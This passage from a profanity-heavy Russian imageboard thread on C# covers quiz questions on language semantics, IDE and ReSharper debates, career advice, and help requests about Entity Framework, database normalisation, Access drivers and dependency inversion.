Console.WriteLine(string.Join(",", BitConverter.GetBytes(i)));
4. Ниже код. Что в
try{
Console.WriteLine("A");
throw new InvalidOperationException();
}
catch(InvalidOperationException ex){
Console.WriteLine("B");
}
catch(Exception ex){
Console.WriteLine("C");
}
finally{
Console.WriteLine("D");
}
5. Ниже код. Что в коносль?
public interface I {
public void Foo();
}
public abstract class A : I {
public virtual void Foo() => Console.WriteLine("A");
}
public class B : A{
public override void Foo() => Console.WriteLine("B");
}
public class C : A{
public new void Foo() => Console.WriteLine("C");
}
class Program{
public static void Main(){
A some1 = new B();
A some2 = new C();
List<I> lst = new List<I> { some1, some2 };
foreach (var i in lst) i.Foo();
}}
Почему? Как исправить не меняя внутренности классов?
6. Ниже код чему будет равен y после выполненения.
object x = new object();
int y = 100;
while(x!=null && --y>10)
{
if(y==50)
x = null;
}
Ну, набросал то что было на первом курсе. Довольно примитивная хуйня.
Правила простые. Дал ответ - проверил. Отетил правильно +1 балл, неправильно -2 балла. Полез сначала проверять перед ответом -5 баллов. Если сумма меньше 10 - читай CLR via C#. Если меньше нуля - иди на метанит.
>Если сумма меньше 10 - читай CLR via C#
>Отетил правильно +1 балл
>дает 6 вопросов
Ебать студентота тупая пошла, земля пухом
P.S. Вопросы ака - задрочи на собесе. Я когда то вызубрил такую же залупу, но интервьер задал другие вопросы. Я конечно же обосрался на них и предложил - давай теперь я. В итоге обосрались мы оба. А я получил работу. Fin
> Ебать студентота тупая пошла
Кто-то шуток не понимает.
> Вопросы ака - задрочи на собесе
Хуй знает, обычные вопросы на знание синтаксиса. Примерно такие были чтобы допуск к экзамену на первом курсе получить. Ну и да, я как-бы работаю уже 3 года, а ВУЗ 2 года как окончли. Не надо тут про студентоту рассказывать.
всегда проигрываю с такой хуйни на собесах типо
string.Join(",", BitConverter.GetBytes(i)));
или про алгоритмы сортировочки и поиска. Самое главное не зарофлить с каменного ебала интервьера
Пришло то самое время.
Следи за запущенными процессами. Я вот один раз не следил и у меня в фоновом режиме висело порядка 1к процессов хрома, которые жрали всю память и нагружали процессор до соточки.
Ставь VSCode. Серьезно. Студия, по сути, нужна только когда ты отлаживаешь, для написания VSCode намного лучше.
SharpDevelop используй, летает на калькуляторах, не лезет каждый день обновляться, правда не поддерживает последние версии C#, но кто их использует?
>не поддерживает последние версии C#, но кто их использует?
Как? Вы же говорили у вас нет легаси.
Я говорил, что ебал твою мать. Она рассказывала о твоём раке простаты. Кстати, перезвони ей, скажи, что сегодня вечером опять зайду.
Студия, мать твою, это дебагер. Никто в здравом уме в ней код писать не будет, блядь. Тебе дали нормальные редакторы, тебе дали ебучий VSCode, Райдер. Нет, блядь будем на этом перегруженном говне кодить.
Оно годится только когда у тебя реально маленький проект, ну 3-4 строк и это чисто шарп, без всякой JS-хуйни. Иначе - соси бибу, оно будет поперживать и тормозить и хуй что сделаешь.
Ебанутый...
Ну, если ты понимаешь, что в случае если бы было while(--y>10 && x != null), был бы результат 49, то особого подвоха нет.
Тому що дальше && при проверке условия он бы не ушел. Прикольно.
Проиграл с этого смузихлеба, который купил себе ноутбук вместо станционарного компьютера, а теперь сосёт хуй и вынужден кодить в обрубках, а не полноценной IDE.
Наверное 24гига и i7 5 летней давности это мало, чтобы, блядь, код писать и подсвечивать и иногда по ссылкам прыгать. Странно только что vs code с миллиардом, блядь, расширений работает без тормозов, на проектах в несколько раз больше тех, на которых студия уже начинает вызывать дискомфорт при работе. Даже не знаю с чем это может быть связано, уж точно не стем, что ебучая говностудия в 2020м все еще 32 битная, при том что она с ходу 2 гига на среднем по размеру проекте сжирает.
У меня на среднем ноуте со студией, в которой подгружено с сотню проектов и основным проектом в котором содержится совокупно под полторы тысячи строчек кода, 0 проблем с производительностью. Стартует за секунды, запускает дебаг почти мгновенно.
Конечно, конечно мы тебе верим, долбоеб, который хочет сказать, что говно запускаемое в браузере (Electron) и написанное на жопаскрипте, работает быстрее, чем программа написанная на C++
Так на С++ можно очень обосраться с памятью и перфомансом, если криворукий, а жс такого говна не позволит и оптимизирует все в виртуапльной машине.
Если ты для себя решил этим заняться, то похуй на матан и на инглиш. А вот логическое мышление и хорошая память тебе точно не помешают. Инглиш удобен, потому что на нем больше всего учебных пособий и видосов. С другой стороны до каких-то пор можно обходится русскоязычным контентом.
Смотри видосы, читай книжки, гугли, быдлокодь, когда начнешь хоть что-то понимать. В любом случае - это дистанция на годы, скорее всего сам все поймешь, успеешь только совершить несколько шагов.
>если криворукий
Ну да, только таких в топ IT компанию и берут.
>а жс такого говна не позволит
Позволит и будет молча сжирать очередной гиг оперативки и десяток процента процессорного времени.
> Знать математику для этого языка необходимо?
Нет ни одного ЯП, где знать математику необходимо. Другое дело, что для решение задач она часто полезной оказывается.
> Английский нужен для него, и на каком уровне, если нужен?
Нужен как и для любого другого языка. Минимальный уровень - свободно читаешь документацию и можешь пересказать что там было написано.
> Расскажите, какие подводные есть.
Работы мало, требования для вката не самые низкие. Очень много неочивидной хуйни. Большая часть примеров что ты найдешь в интернете предполагает, что ты либо жаву либо си знаешь и писал что-то комерческого уровня. Да, еще куча пидрил говорит что знать весь фреймворк не обязательно, дескать пользуйся тем что нужно, только блядь такой подход приводит к тому, что ты не всегда знаешь что же там есть, пилишь свой говновелосипед, а оказывается, что решение есть в фреймворке и оно охуенное, т.е. таки надо выучить фреймворк, помимо языка.
Что ты под "одной цельной команды" подразумеваешь?
Если хочешь писать:
Console.ReadLine()/Console.Read()
Без Console., то напиши директиву using вот так:
using static System.Console;
И можно будет писать:
ReadLine()/Read()
Я хочу, чтобы в любую переменную в шарпе можно было ввести данные одной командой без конвертации строки в нужный тип и разведения на хуй не упавших лишних строковых переменных для этой самой конвертации.
Чтобы можно было делать так
int a;
a = Console.Readline();
а не вот такую вот хуйню городить
string stroka
int a = 0;
a = Convert.ToInt32(str = Console.ReadLine());
И кстати, какого хуя шарп обязывает меня всегда и везде при объявлении нестроковой переменной задавать ей какое-то начальное значение, даже если она всё равно его получит во время компиляции? Может, я не хочу? Почему тогда строке можно не давать начального значения? А?!
Скажем, вот у меня есть настройки приложения, я хочу чтобы их было можно менять в произвольный момент времени и это отражалось на всю программу. У меня есть два пути - сделать сложную ООП хреновину с менеджерами настроек, контроллерами и прочим, могу сделать синглтон, который, по сути будет тем же статическим классом, а могу ебануть статический класс AppSettings, в котором добавлю событие изменения настроек на которое будут подписываться те кому надо и изменять свойства в зависимости от настроек. Где я проебался? Что я упускаю? Вроде же это как раз KISS и все такое.
int a = int.Parse(Console.ReadLine());
А если как то чел посоветовал, то вообще:
int a = int.Parse(ReadLine());
Сделай варпер. Делов-то.
public static class Halpers{
public static int ReadInt => int.Parse(Console.ReadLine());
public static string ReadString => Console.ReadLine();
}
Вынеси это в свою библиотеку и потом просто:
int a = Halpers.ReadInt;
string b = Halpers.ReadString;
В любом реальном продукте тебя считывать/записывать с консоли в 99.9% случаев не нужно будет.
Плюс, твой cin - такой же варпер вокруг потока ввода, внутри которого лежит перегрузка оператора битового сдвига, в шарпе дизайнеры решили ограничить возможности перегрузки операторов и такой свободы как в плюсах тебе не дают, и ИМХО это правильно.
Блядь, как же сука охуенно на первом курсе-то было, когда под видом си нам давали еще огрызки плюсов, и сука вот я читаю книгу про си, там написано >> - оператор битового сдвига вправа, ну, это понятно, но какого хуя если он перед этим самым cin стоит я записываю в переменную-то? И вообще, что блядь за cin такой сука. Хорошо хоть после первого курса нам нормального препода дали, который мало того что на шарпах учил, так и всю эту хуйню объяснил и когда на третьем снова начались плюсы, но уже у нормального препода, вся эта хуйня вопросов не вызывала.
Почему так в шарпе понятно - ReadLine() возвращает string. Поэтому для инта надо парсить полученную строку. Лень гуглить этот процесс для крестов. Хитрая перегрузка? Замуты с обжектом?
Просто для каждого типа перегрузили. Попробуешь из консольки считать json чтобы сразу десерилизовался в объект и пизда тебе.
Вот допустим, я хочу сделать коносольную игрушку. Вот пример того как я это примерно представляю
Ну и в чем суть, я не совсем понимаю, как без доступа к миру предполагается что некий эктор должен знать что делать, кроме как изменять свое состояние? А как должно контролироваться, что эктор не выйдит за границы мира? Ну, просто допустим, у в методе TickAction напишу логику, типа это яблоня, каждые 20 тиков оно может яблоко произвести, таким образом увеличивая число яблок на себе. Как мне сделать так, чтобы потом кто угодно мог подойти к яблоне и сорвать яблоко? Я не свовсем это понимаю.
Игровое поле - двумерный массив чаров, адресное пространство x и y. Существа - экземпляры класса с полями текущаяПозиция, новаяПозиция. Позиция моба - адрес в двумерном массиве. Прежде чем присвоить новую позицию мобу, проверяешь пару значений на соответствие адресному пространству массива.
Существо может "осматриваться" вокруг себя занося в одно из личных полей список всех адресов, рядом с которыми находится. Может проверять адреса вокруг на символы, занесенные в двумерный массив. А может проверять эти адреса на соответствие значению полей других мобов/объектов игрового мира текущаяПозиция. Если совпадает - там кто-то есть, надо убегать или взаимодействовать.
может с питона начнешь ?
1. 10 20 ибо не ссылочный тип. Переебало бы, если бы через реф аргументы передавалось.
2. Три точки внутри класса?
Ну cts станет нулом при диспозу и нуллрефернс будет. Еще что-то?
3. Хуй его знает.
4. A B D
5. B A ? Исправить? Вызывать С.Фу() без приведения.
6. 50
Мимо погроммист.
Ну да... Ну ты тоже пони что я имел ввиду.
Потому что ты гуглить не умеешь. Я даже видео наше двухчасовое в котором пошагово показывают как делать инсталляторы.
Придется тебе через WPF/WinForms делать собственный, это не так уж и сложно.
теперь собственно вопрос, для программирования нужно ли чтобы стоял сам офис? или оно спокойно будет работать с базой без офиса (ну там как просто с файлом)?
Просто как получилось - на работе есть лицензионный офис. Не успеваю со сроками, хочу на выходных дома поработать с кодом (удаленный стол - говно решение и не удобно).
Но дома нет лицензионного офиса, взломанное говно также не хочу ставить (и вообще не хочу ставить)
Мне с базой не нужно работать - я просто пишу фронтенд над данными из нее. Структура таблиц у меня в отдельной доке, так что мне даже открывать базу не надо
сап, погромисты, мне нужно сделать кастомный генератор контекста подключения к БД, чтобы при генерации модели из БД контекст выглядел так, как я скозал, но пробема вот в чём: у entity framework DBContextGenerator доступен только для Pro версии VS, а на моей галере такого ещё не завезли, сидим на community, есть какие-то способы решения проблемы?
Неужели проще выкатить простыню текста на двач, чем сделать запрос в гугель?
>you don't have to install ms office in the pc, all you have to do is installing Microsoft Access Database Engine. You can download it from : https://www.microsoft.com/en-us/download/details.aspx?id=13255
спс.
Ну гугл упорно менял запросы на "как подключить access"... А читать все эти сотни статей в поисках одной строчки... Всеже проще на дваче спросить
Что ты хочешь? Заскафолдить БД в свои коннтексты/ентити?
https://blog.tonysneed.com/2018/05/27/customize-ef-core-scaffolding-with-handlebars-templates/
По логике разбиваешь и всё. Что тут сложного? Ты же для удобства это делаешь, как ты будешь в каше из классов определять что к чему принадлежит и что с чем связано логически? Все общие классы для приложения оставляешь в корневой папке, что-то более конкретное кидаешь по отдельным папкам.
Как такую сделать с WPF, без велосипеблядства? может где на гитхабе есть готовое?
drawer
щас тут набегут моралисты и начнут доказывать что такие недоучки учителя не нужны.. но я вот что тебе скажу - делай.
Это тебе же будет полезно - есть такая поговорка "лучший способ изучить и понять тему, это попытаться объяснить эту тему кому-то другому". Когда начнешь этим заниматься на серьезном уровне, набьешь и себе опыта.
>Хочу замутить канал на ютубе с уроками по шарпу
Очередной канал по шарпу, прошу заметить.
>программы, которые никто почти и не видит
Видео твои тоже почти никто не увидит.
>идей для первых видяшек подкините? А то не хочется
А сами виде за тебяя не сделать?
Нужен детект nsfw контента, на дотнете нихуя нет, js не запустишь, питон тоже. Нашел какую-то китайскую библиотеку, но она на плюсах
Обещают 80 мсек на изображение, что очень даже хорошо
ДА
Чому нет, делай. Буду твоим постоянным зрителем. Только техническую часть не зафейли. Я имею в виду звук, картинку, оформление.
Можешь начать с примитивщины. Хотя на самом деле и так на каждом втором тематическом канала на ютубчике лежит видос "Шо такое массив", "Шо такое переменные" и тд. Так что сомнительно это. С другой стороны аудитории нравится "старт с нуля" под руководством нового ментора, который уж точно приведет своих подопечных к новым вершинам мастерства в программировании.
Как бы не пришлось на жабу уползать, еще и батя через 3 месяца выкидывает с хаты.
Где живешь? У нас в городе 1/2 вакансии висят как до короны, в апреле было тупо 0
До какого уровня дошел за такой срок?
>>734227
> Хочу замутить канал на ютубе с уроками по шарпу.
А ты сам хоть в раз жизни пользовался видеоуроками? Это же медлен-н-но. Может, у тебя есть какая-то фишечка, которая выделит тебя среди толпы инфоцыган?
> Но я сам всего год опыта работы имею.
Я тоже. В свободное время изучаю фронт, cs и иностранный язык нихуя не продуктивно
> Нормальная ли это идея?
Анон, не то чтобы я тебя дизморалил. Хочешь – пробуй. Но выхлоп сомнительный, как по мне
>А ты сам хоть в раз жизни пользовался видеоуроками?
Ну к примеру так перекатывался на шарп. Я раньше был сиплюсплюснутым, решил перекатиться, но читать мануалы по шарпу было так лень... Поэтому просто пошел в ютуб и стал смотреть что интересно
Скучно смотреть как пчел что-то в иде пишет, не имея возможности скопировать, не имея автотестов под задачи. Ещё говорят все как один медленно, ставить надо 1,5 ускорение. У тебя был опыт в языке из семейства С, а значит, шарп нормально зайдет, можно просто смотреть. Уроки для нулевых – это другое
Сам Троелсена прочитал процентов на 40, потом Рихтера моментами прочитал. Потом на ulearn сидел – там после каждого занятия задачи с автопроверкой – это норм. А дальше ходить по собесам, писать петпроекты, изучать асп, паттерны и все остальное
>>734588
Да ты можешь хоть на глиняных дощечках клинописью преподавать, только кому оно нахуй усралось
причем тут преподавать к изучать? Кому то лучше видосики смотреть, кому то книги читать. Главное, чтобы результат был. Найдутся задрочи, которым и то не так и так не так. Сразу вспоминаю долбней, которые переворачивали мышки и зазубривали хоткеи в IDE, чтобы "КАК ХАЦКЕР, С ОДНОЙ КЛАВОЙ"
Accordion
Так же по мере скроллинга сайт подгружает инфу которую я хочу спарсить.
Каким образом можно спарсить такую вещь?
Если через отладку браузера смотреть, то видно что в ответ сайт присылает нужный мне json, но вот как получить ссылку на этот json через код я без понятия, ссылка на него состоит из каких-то хешей явно и длиной в 1000+ символов.
Кидай ссылку на сайт.
В глаза ебусь, не получается запросы повторить? В чем проблема длинной ссылки?
Присоединяюсь к анону выше, показал бы ссылку на сайт, интересно
Либо wasm заставлять грузить клиента хуй кто пойдет, только если не дашборда для своих
Либо держать с каждым клиентом канал и слать изменения по нему. Я не знаю, сколько соединений gRPC выдержит один типичный серв. Не подскажешь цифры?
Ну, в как раз дашборда для своих, лол.
приветствую рабочий класс!
с октября изучаю шарп (видосики, практика). на карантине прочитал "Fundamentals of computer programming with C#" на английском. у меня одно желание- вкатиться наконец в IT в ДС2 в идеале с дальнейшей релокацией в северную украину (канаду). помимо шарпа знаком с SQL, делаю взаимодействие БД с клиентским приложением как пет-проект. что посоветуете освоить дабы вкатиться?
Чтобы вкатиться, надо, блядь, показать что ты задачи решать умеешь, причем быстро и без лишних усложнений.
Если придумать не можешь, вот тебе идеи:
1. SMTP-сервер
2. Программа учета времени(усложненная версия туДу листа). При добавлении однотипных задач, ты высчитываешь коэффицент ошибки и выдаешь примерное время завершения задачи, на основе данных, которые получил до этого(для простоты можешь среднеквадратичным отклонением пользоваться), к этому прикручиваешь веб-интерфейс + api для сторонних приложух.
3. Библиотека UI-элементов для коносли. Очивидно, она должна быть работать с мышкой, уметь в drag'n'drop, быть кроссплатформенной.
4. IRC-сервер поддерживающий кроссерверную передачу сообщений. Т.е. клиент может быть подуключен к твоему серваку, но они сервера объединяюстя в сеть и если получатель есть на другом - ты передашь сообщение ему.
5. Игрушка. Простая мульиплеерная 4X стратежка, с ресурсами и глобальными событитиями, которые может генерировать сервер.
6. Асинхронный TCP-сервер с возможностью расширения под любой протокол без лишних телодвижений. Т.е. твой сервер - канал связи, а пользователь библиотеки может просто впихнуть туда свой протокол обзщения, он не должен знать как у тебя прием соединений ведтся, не должен думать о том, какой таймаут и прочее, не знает ничего про то как ты собираешь сообщения, не знает про буфферы и прочую срань, он просто имплементирует интерфейс IProtocol и все само сабой должно работать, хоть он туда HTML впихнет, хоть SMTP, хоть свой придумает.
Если хотя бы что-то из этого будет у тебя на гитхабе, и ты сможешь продемонстрировать работу и код, то вкатиться не составит особого труда куда угодно. Причем сразу на должность мидла.{/SPOILER]
Блин, пьяный я, проебал разметку. Грустно(((
> с дальнейшей релокацией в северную украину (канаду).
Вышка есть? Нет? Тогда до свидания, никому ты со своим пед-проектом там не нужен.
Столкнулся с низкой производительностью OpenCV (в частности matchTemplate)
Очень сильно грузит процессор, и скачет память во время работы
У кого нибудь был опыт сравнения OpenCV с альтернативами в плане производительности? (Accord.NET например)
или может быть кто то знает более производительные альтернативы?
С помощью LINQ2SQL я наговнокодил два класса которые связаны с БД.
С помощью LINQ попытался связать две таблицы(пик1) и прихуярить к datagridview. Я знаю, что в коде я беру названия для препаратов из одной и той же хуйни, но я не знаю как по другому. Поэтому и пишу сюда
Вместо нужной хуйни у меня получается пик2.
Вот(пик3, там значения разные как раз таки) правильные значения из таблицы.
По сути мне нужно вытащить med_id_first, med_id_second, med_id_third из таблицы и посмотреть названия препаратов с соответствующим med_id_порядковыйномер (к примеру med_id_first будет "Анальгин", а med_id_second будет "Но-шпа")
Или можно как-то реализовать запрос по другому?
в курсе на счет правил наименования, это чуть позже переделаю
Няша, юзай EF и не парься. Срсли. Там настроишь многие-ко-многим и просто сможешь доставать что тебе надо прямо из класса модели без всех этих джоинов-хуеинов.
У тебя какая-то хуйня вместо таблиц и говно вместо запроса.
Прочитай для начала это https://metanit.com/sql/tutorial/2.1.php
Насколько помню, в еф который кор нет многие-ко-многим
Возможно, проще будет написать sql запрос
База не нормализована, это хуево
Да а как запрос-то написать сука?
"Болезни (Связывает таблицы "Болезни" и "Лекарства" по полю "Код лекарства", "Код лекарства 1", "Код лекарства 2" и "Код лекарства 3")"
Сделай таблицу лекарства
Сделай таблицу кодЛекарства, в которой будет поле лекарствоИд
Потом свяжешь коды лекарства
Анон, очень сложно вникнуть в то, что ты написал. Даже не сложно, а лень, это какое-то дерьмо – я так понял, что ты захардкодил три кода лекарства. А если четвертый появится? Делай правильно
> Такое задание
Заебись, в универе закладывают фундамент
Я сейчас в дороге, приду домой покумекаю
Спасибо анончик
> Насколько помню, в еф который кор нет многие-ко-многим
Нет в том виде в каком это было в обычном EF, но ничего не мешает тебе запилить самому модельек вида:
IEnumberble<A> as
IEnumberble<A> bs
и при конфигурации сущностей запилить эту связь раками. Все равно один раз это напишешь и можешь из любого места доставать то что тебе надо.
Нашел про первое в книжке. Оказалось очень просто.
Говоришь преподу: Это какое-то говно. И делаешь нормально.
Вот тебе примерный код того как обычно люди делают https://ideone.com/CALmkx Посмотри и адаптируй под свою задачу. Да, кажется что это усложнение, на деле же так потом проще будет, базарю.
К сожалению меня пошлют нахуй ибо я уже один раз прислушался с своему сердцу и сделал так, как считаю нужным. В итоге сказали, что в первый раз не снизят оценку, но в следующие - будут. мне похуй на оценки, но в таком случае я буду получать хуй за щеку, а не деньги
Но ведь хуйню просят делать. Ты им скажи, что есть, блядь, нормальные формы, их не долбоебы придумали. Третья нормальная является, блин, стандартом хранения данных в реляционках. Банально ты избегаешь дублирования, в случае если болезнь лечат 2 колесами не нужно будет null вставлять, null в реляционках считается редкостной хуйней, которую лучше не использовать в самих таблицах, опять же, ты можешь поверх представление(вьюшку) сделать в том виде какой просят в задании, но при этом потом можешь, если надо, и 5 колес выводить, и 10, и 1, можешь все симптомы объединить в строку и выводить в одном столбце и т.д. СУБД же тоже не тупые, там есть куча способов работы с тем что в таблицах хранится. Опять же, в приложухе можешь уже вьюшку тянуть, причем тебе даже не нужно будет ничего объединять, ты на стороне СУБД это сделал и просто тянешь, если надо что-то добавить/отредактировать - тянешь из СУБД хранимку, которая в том виде, в котором надо добавит/обновит.
Хотя бы для себя сделай нормально, а преподу показывай результирующие вьюшки в том виде, какой просят. Ну серьезно, потратишь чуть больше времени, зато со спокойной душой жить будешь.
И вообще, ХЗ что за преподы такие. В моей шараге, например, если просили сделать сортировку пузырьком для лабы, а ты делал квиксорт, тебя только хвалили, если нужно было написать консольную приложуху, а ты делал на формах, тебя в попу целовали и говорили: "Смотрите, какой анон инициативный, берите с него пример!". Да и когда работать пошел, если какую-то полезную штуку реализовал, вне рамок ТЗ, но уложился в сроки и оно работает нормально, никак особо не влияя на остальные фитчи, ни разу не было такого, чтобы кто-то был недоволен.
Спасибо, ты рассказал мне больше за 1 минуту чем за год обучения
Нет, офк. Сами ссылки значимые и в метод прилетают копии ссылок, все жонглирование происходит с локальными ссылками и никак не затрагивает ссылки из мэйна. Да и хз как ты вообще к 20 20 пришел.
Потому что в том примере
a = b; //ссылка на число 10 заместилась ссылкой на число 20
b = a; //ссылка на число 20 заместилась ссылкой на... число 20
А ссылка, которая была в _а перешла в _temp, но так там и осталась.
Так что если везде, где надо дописать модификатор ref, то результат будет 20, 20. Потому что ссылка с числом 10 была проебана в методе.
Суть такова: у меня есть проект на винформочках, который в рантайме присасывается к БД и делает к ней запросы. Собсна я насоздавал интерфейсы для классов, создал класс, который эти самые классы создает. И все бы нормально, но:
1. Как реализовывать Dependency Inversion для винформочек? Создавать пустой интерфейс? Потому что извлечь его рефакторингом я не могу, да и извлекать нечего: все методы формочки приватные.
2. Как реализовывать Dependency Inversion для работы с БД? У меня есть класс, который работает с БД, и он по сути строки БД запихивает в классы-контейнеры. То есть у меня есть таблица People, я делаю запрос к БД и у меня формируется List<Person> уже в Шарпе. Для этого я использую Query<T>, но вот проблема: Query<Person> работает на ура, а Query<IPerson> ломается. Если Query<T> не жрет интерфейсы, то как реализовывать Dependency Inversion для запросов к БД? Или я чего-то не понимаю?
Не обязательно интерфейсы использовать, если нужно использовать какие-либо поля или методы, то используют абстрактные классы. Главное чтобы объявление этого абстрактного класса было на уровне выше, чем его реализация.
Разве интерфейсы - это не публичные абстрактные классы? В чем будет разница между созданием интерфейса и созданием абстрактного класса тогда?
Хуй знает. Дает ArgumentException. Насколько понимаю по стактрейсу - проблема в том, что System.Reflection.Emit.DynamicMethod.Init не работает с интерфейсами, якобы "недопустимый владелец типа". Но что это значит - я понимаю крайне слабо.
Ну я погуглил. Действительно нельзя интерфейсы передавать. Тогда как Dependency Inversion реализовывать?
>Так что если везде, где надо дописать модификатор ref
Ну ахуеть. А если еще дописать, то можно получить хоть 666 13.
Охуеть, это такой троллинг? Очевидно, что создавать нужно не экземпляры абстрактных классов и интерфейсов, а классы которые реализуют интерфейсы/абстрактные классы. И принцип DI, как раз заключается в том, что определение интерфейса/абстрактного класса лежит на уровне выше и отдельно от его реализации, делая основной класс независимым от дополнительных классов.
Я понимаю. Но Query<IPerson> у меня нихуя не работает, Query<Person> не подходит для DI, а передать нужный тип через переменную в <> нельзя. Потому я и не понимаю, че мне делать.
Зачем тебе Query<T> резолвить?
Ты какую-то хуйню собрался делать. Серьезно. Классы моделей никто не выносит в интерфейсы. Просто потому что это уровень модели нахуй ломает.
А насчет инверсии зависимостей для работы с БД, обычно под этим подразумевается, что ты выносишь провайдера в интерфейс и у тебя обращение к БД идет через какой-нибудь IDataStore<T> в котором есть все нужные тебе методы для работы с этой самой БД, Add/Remove/Update/Get/GetRange/GetAll. И потом ты можешь заинжектить в нужный тебе класс и доставать своих персон. Пример этого есть тут https://github.com/dotnet-architecture/eShopOnWeb
В интерфейсы выносятся сервисы и классы которые какую-то работу совершают, например обработка оплаты заказа, сборка странички с данными по оплате, логгирование, системы оплаты и это вот все.
Спасибо, анонче. Было чувство, что модели в интерфейсы не выносятся, но я немного слишком увлекся.
А что насчет винформочек? С ними надо что-то делать или оставить?
Погуглил, пишут что надо поставить AccessDatabaseEngine - ну я поставил. даже комп перезагрузил. почему не раб?
Блядь, почему я должен за тебя гуглить, если ответ на 1й ссылке?
Патч для 64 битной поставил, сука? Или меняй разрядность приложения на 32 бита.
Да.
>>724425 (OP)
> Resharper
Пиздец. Что в нём хорошего? Search everywhere умеет и студия, и VS Code по Ctrl + T.
Какие там, блядь, рефакторинги? Отвратительно долгий rename class/interface/variable (в который имеет студия и вскод, опять же, и в разы быстрее) с уёбищным ненужным rename in comments?
> Третьим пунктом WinForms и WPF, шестым про Xamarin
Десктоп умирает.
WinForms актуален для студентов говновузов, WPF функционален, но с уёбищным XAML.
Мобайл дева на шарпе катастрофичеки мало (12 вакансий «Xamarin» — СПб)
На месте этого вопроса должно быть что-то по ASP.NET (ASP.NET — 104 вакансии СПб, WPF — 29 вакансий).
> Для мака и никсов самый юзабельный вариант - MonoDevelop
Для мака и никсов самый юзабельный вариант — VS Code.
> Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны...
Шапка 1999? Уже давно райдер выпустили.
> Охуенное расширение для студии Format document on Save
В VS Code из коробки есть.
В студии разве нет?
> Indent Guides - показывает вертикальные линии на каждом уровне отступов
В студии из коробки есть.
> Литература
Не увидел здесь:
Pro .NET Performance: Optimize Your C# Applications
Microsoft SQL Server 2012 T-SQL Fundamentals
SQL Server Execution Plans
>>724425 (OP)
> Resharper
Пиздец. Что в нём хорошего? Search everywhere умеет и студия, и VS Code по Ctrl + T.
Какие там, блядь, рефакторинги? Отвратительно долгий rename class/interface/variable (в который имеет студия и вскод, опять же, и в разы быстрее) с уёбищным ненужным rename in comments?
> Третьим пунктом WinForms и WPF, шестым про Xamarin
Десктоп умирает.
WinForms актуален для студентов говновузов, WPF функционален, но с уёбищным XAML.
Мобайл дева на шарпе катастрофичеки мало (12 вакансий «Xamarin» — СПб)
На месте этого вопроса должно быть что-то по ASP.NET (ASP.NET — 104 вакансии СПб, WPF — 29 вакансий).
> Для мака и никсов самый юзабельный вариант - MonoDevelop
Для мака и никсов самый юзабельный вариант — VS Code.
> Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны...
Шапка 1999? Уже давно райдер выпустили.
> Охуенное расширение для студии Format document on Save
В VS Code из коробки есть.
В студии разве нет?
> Indent Guides - показывает вертикальные линии на каждом уровне отступов
В студии из коробки есть.
> Литература
Не увидел здесь:
Pro .NET Performance: Optimize Your C# Applications
Microsoft SQL Server 2012 T-SQL Fundamentals
SQL Server Execution Plans
Как ты живёшь без решарперовского автоимпорта неймспейсов? Это же отвлекает, пиздец. Собственно, этой фичей они меня и купили
Навигация по контролёров в аспе
Решарперовский автоимпорт может автоимпортировать что-то не то. Не нравится так. Импортирую по "контрол+точка, энтер", радуюсь жизни.
Какая навигация по контроллерам в аспе?
Это надо тип полностью написать, пиздец ты трудолюбивый
Навигация к представлению View в MVC. Редко, но пригождается, когда легаси приходит
> Resharper
>Что в нём хорошего?
Ренейм класса не работает через раз как в студии, при переносе в другой неймспейс, всё автоматически правится, а в студии тебе ручками неймспейс править нужно. В Студии нет подсчета ссылок на метод, класс, поля и т. д.
Также встроенный конструктор ToString который автоматически перезаписывает его и добавляет вывод всего стейта в текст.
>ненужным rename in comments?
Ну если ты даун, который в комментах ничего не пишет, то это не значит, что все такие.
+ про решарпер еще вспомнил, что он автоматически предлагает заменять старые конструкции на новые, например обычный switch на switch expression и вообще подсказывает если можно уменьшить количество кода.
> Студии нет подсчета ссылок на метод, класс, поля и т. д.
А это что?
Другое дело что студия при том же поиске оч тормозит, особенно в проекте с ангуляром, который хоть раз собирался. Это пиздец какой-то начинатся. А ебучий Райдер нормально так работает без особых проблем.
> при переносе в другой неймспейс
Часто ты кидаешь классы из папки в папку?
> даун, который в комментах ничего не пишет
Что писать-то?
> /// <summary>
> /// Публичный класс <see cref="MyClass />, реализующий интерфейсы <see cref="ICommentable"/> и <see cref="IUnnecessary"/>
> /// </summary>
> public сlass MyClass : ICommentable, IUnnecessary
> { ... }
Норм? Первый раз пишу, не судите строго.
бамп
>Часто ты кидаешь классы из папки в папку?
Да, особенно на начальных стадиях, когда структура проекта постоянно меняется и дополняется.
>Что писать-то?
Всё что поможет тебе и другим понять работу кода без необходимости читать непосредственно сам код.
Он еще и ошибки в именовании переменных исправляет. Помогает если у тебя с письменным английским плохо.
С английским всё хорошо.
> Решарпер не нужен
Ну, как минимум то что он по папочкам неймспейсы автоматом делает довольно полезная херня.
> Комменты тоже
Я тоже так думал, пока в универе учился. Вот я прихожу на работу, меня садят легаси поддерживать, последний разработчик которого съебался далеко и не выходит на связь, из работающих никто не знает как он работает, большинство даже точно не уверены что оно делает, только один дед припоминает, что году так в 2005 возникла маленькая задачка и решено было простенькое решение запилить, задачку он уже не помнит, правда, разрабатывали 15 лет, там сейчас больше 750к строк кода, при этом из комментариев только соревнование тех кто за ним сидел в остроумии(шутки-хуютки, анекдоты и какие-то замечания, что вот кто-то там мудак, этот кто-то тоже давно не работает тут) и тудушки из времен когда он только начинался в стиле: TODO Сделать нормально. Это был сущий ад разбираться в этом, при этом говоришь руководителю: Дайте неделю, чтобы разобраться и еще неделю на рефакторинг: Хуй тебе, код написан, он работает, а ты, раз программистом назвался, - правь баги, добавляй фитчи, эта хуйня ложится у клиентов в рандомные фазы луны, но вроде работает же, а клиенты хотят больше фтич.
Когда я только в универе учился, я думал, что комменты не нужны. Когда начала работать - стал думать, что нужны. После 10 лет стажа считаю, что комменты не нужны. Нужна high-level документация и тесты. Всё остальное - херня.
Так-то оно так, только кто эту документацию писать будет? Если кодер, то он в процессе нередко тупо забывает что и зачем делал и вся документация выглядит как:
void DoSomething(object X) - принимает объект и делает что-то.
С комментами, которые пишутся в процессе хотя бы ход мысли понять можно, можно понять что на момент написания метода/класса стояла за задача, проанализировать нормально ли она решена в этом контексте и принять решение надо ли это трогать, или можно оставить как есть, а не быть обезьяной, которая палкой тыкает и проверяет не ебанет ли, либо обкалывает фасадами и адаптерами.
>void DoSomething(object X) - принимает объект и делает что-то.
